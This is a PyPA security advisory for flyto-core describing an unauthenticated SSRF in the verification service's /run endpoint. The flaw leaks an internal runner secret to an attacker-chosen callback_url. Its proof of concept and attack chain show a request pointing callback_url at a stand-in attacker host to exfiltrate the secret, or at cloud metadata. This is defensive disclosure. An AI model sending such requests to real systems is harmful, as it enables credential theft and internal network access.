PYSEC-2026-3571

See a problem?
Import Source
https://github.com/pypa/advisory-database/blob/main/vulns/flyto-core/PYSEC-2026-3571.yaml
JSON Data
https://api.osv.dev/v1/vulns/PYSEC-2026-3571
Aliases
Published
2026-08-04T11:34:45.572992Z
Modified
2026-08-04T14:30:16.316367894Z
Severity
  • 9.3 (Critical) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N CVSS Calculator
Summary
Flyto2 Core: Unauthenticated flyto-verification /run: callback_url SSRF and internal runner-secret exfiltration
Details

Summary

The standalone flyto-verification service exposes POST /run with no authentication, on all interfaces (0.0.0.0:8344 per the shipped Dockerfile). The request body's callback_url is used verbatim for an outbound POST that unconditionally attaches X-Internal-Key: $FLYTO_RUNNER_SECRET. The callback_url bypasses the service's target_allowed allowlist (which only inspects params.target_url) and is never passed through any SSRF guard. This yields (a) unauthenticated SSRF to internal/metadata endpoints with an attacker-controlled JSON body, and (b) exfiltration of the internal runner secret to an attacker-controlled host — allowing forged authenticated callbacks to the real engine.

Root Cause

  • src/core/verification_service.py:363-364/run has no Depends/auth dependency.
  • resolve_callback_url returns the client callback_url verbatim (:315-316).
  • post_callback attaches X-Internal-Key: $FLYTO_RUNNER_SECRET whenever the env var is set (:327-335).
  • target_allowed only gates params.target_url (:259), never callback_url. No validate_url_* anywhere in the file.
  • Dockerfile.verification CMD = main('0.0.0.0', 8344); entrypoint flyto-verification in pyproject.toml:107 → the shipped image binds all interfaces by default.

Impact

Unauthenticated (PR:N) readable SSRF to internal/cloud-metadata with a controlled body (C:H, S:C), plus theft of FLYTO_RUNNER_SECRET to an attacker host → the attacker can then authenticate to the real engine callback endpoint (credential compromise, CWE-522).

Proof of Concept

Code-proven this session (all lines confirmed on v2.26.6):

POST http://<verification-host>:8344/run
{"workflowYaml":"...","params":{...},"callback_url":"http://attacker.tld/collect"}
# -> service POSTs to attacker.tld with header X-Internal-Key: <FLYTO_RUNNER_SECRET>
# Or callback_url=http://<cloud-metadata-ip>/... for internal SSRF with a controlled body.

Attack Chain

  1. Entry: unauthenticated POST http://<host>:8344/run with callback_url:"http://attacker.tld/collect". Guard: auth on /run. Bypass proof: no Depends(require_auth) (verification_service.py:363-364); Dockerfile binds all interfaces on port 8344.
  2. Check: target_allowed scope (:259). Bypass proof: only inspects params.target_url; callback_url is never passed through extract_host/target_allowed.
  3. Check: SSRF validation on callback_url. Bypass proof: file has ZERO validate_url references.
  4. Sink: post_callbacksession.post(callback_url, json=payload, headers={"X-Internal-Key": FLYTO_RUNNER_SECRET}) (:330-335); header attached unconditionally when the env var is set (:327-329).
  5. Impact: (a) SSRF to the cloud metadata IP / internal with a controlled JSON body; (b) exfiltration of FLYTORUNNERSECRET → replay to authenticate to the real engine callback endpoint.

Bypass Evidence

/run has no auth dependency (grep-confirmed); resolve_callback_url returns the client value verbatim; X-Internal-Key attached unconditionally; target_allowed gates only params.target_url; no validate_url_* in the file; shipped Dockerfile binds all interfaces.

Affected Versions

<= 2.26.6verification_service.py, pyproject.toml:107 entrypoint, and Dockerfile.verification present on latest release tag.

Suggested Fix

Add authentication to /run; run callback_url through the SSRF guard + host allowlist before attaching any internal header; do not attach X-Internal-Key to non-allowlisted destinations; bind the service to loopback by default.

Credit

Vulnerability discovered by zx (Jace).

References

Affected packages

PyPI / flyto-core

Package

Affected ranges

Type
ECOSYSTEM
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
2.26.7

Affected versions

1.*
1.0.0
1.0.1
1.0.2
1.0.3
1.0.4
1.0.5
1.0.6
1.0.7
1.0.8
1.0.9
1.1.0
1.1.1
1.2.0
1.3.0
1.4.0
1.5.0
1.5.1
1.5.2
1.5.4
1.6.0
1.6.1
1.6.2
1.6.3
1.6.4
1.6.5
1.7.0
1.7.1
1.7.2
1.7.3
1.7.4
1.7.5
1.7.6
1.7.7
1.7.8
1.7.9
1.8.0
1.8.1
1.8.2
1.8.3
1.8.4
1.8.5
1.8.6
1.8.7
1.8.8
1.8.9
1.8.10
1.8.11
1.8.12
1.8.13
1.8.14
1.8.15
1.8.16
1.8.17
1.9.0
1.11.0
1.12.0
1.13.0
1.14.0
1.14.1
1.14.2
1.15.0
1.16.0
1.16.1
1.16.2
1.16.3
1.16.4
1.16.5
1.16.6
1.16.7
1.16.8
1.16.9
1.16.10
2.*
2.0.0
2.0.1
2.0.2
2.0.3
2.0.4
2.0.5
2.1.0
2.1.1
2.1.2
2.1.3
2.1.4
2.2.0
2.2.1
2.2.2
2.3.0
2.3.1
2.4.0
2.4.1
2.4.2
2.4.3
2.4.4
2.4.5
2.4.6
2.4.7
2.5.0
2.5.1
2.5.2
2.6.0
2.6.1
2.7.0
2.7.1
2.7.2
2.7.3
2.7.4
2.7.5
2.7.6
2.8.0
2.9.0
2.10.0
2.11.0
2.12.0
2.12.1
2.12.2
2.12.3
2.12.4
2.12.5
2.12.6
2.12.13
2.12.15
2.12.16
2.12.17
2.12.18
2.12.19
2.12.20
2.12.21
2.12.22
2.12.23
2.12.24
2.12.25
2.12.26
2.12.27
2.12.28
2.13.0
2.13.1
2.13.2
2.13.3
2.13.4
2.14.0
2.15.0
2.15.1
2.15.2
2.15.3
2.16.1
2.16.3
2.16.4
2.17.0
2.17.1
2.17.2
2.17.3
2.17.4
2.17.5
2.17.6
2.17.7
2.17.8
2.18.0
2.18.1
2.18.2
2.18.3
2.18.4
2.18.5
2.18.6
2.18.8
2.18.9
2.18.10
2.18.11
2.19.0
2.20.0
2.20.1
2.20.2
2.20.3
2.20.4
2.23.0
2.23.1
2.23.2
2.23.3
2.24.0
2.24.1
2.24.2
2.24.3
2.24.4
2.25.0
2.25.1
2.25.2
2.25.3
2.25.4
2.25.5
2.25.6
2.25.7
2.25.8
2.25.9
2.25.10
2.25.11
2.25.12
2.25.13
2.25.14
2.25.15
2.25.16
2.25.17
2.25.18
2.25.19
2.25.20
2.25.21
2.25.22
2.25.23
2.25.24
2.25.25
2.25.26
2.25.27
2.26.0
2.26.1
2.26.2
2.26.3
2.26.4
2.26.5

Database specific

source
"https://github.com/pypa/advisory-database/blob/main/vulns/flyto-core/PYSEC-2026-3571.yaml"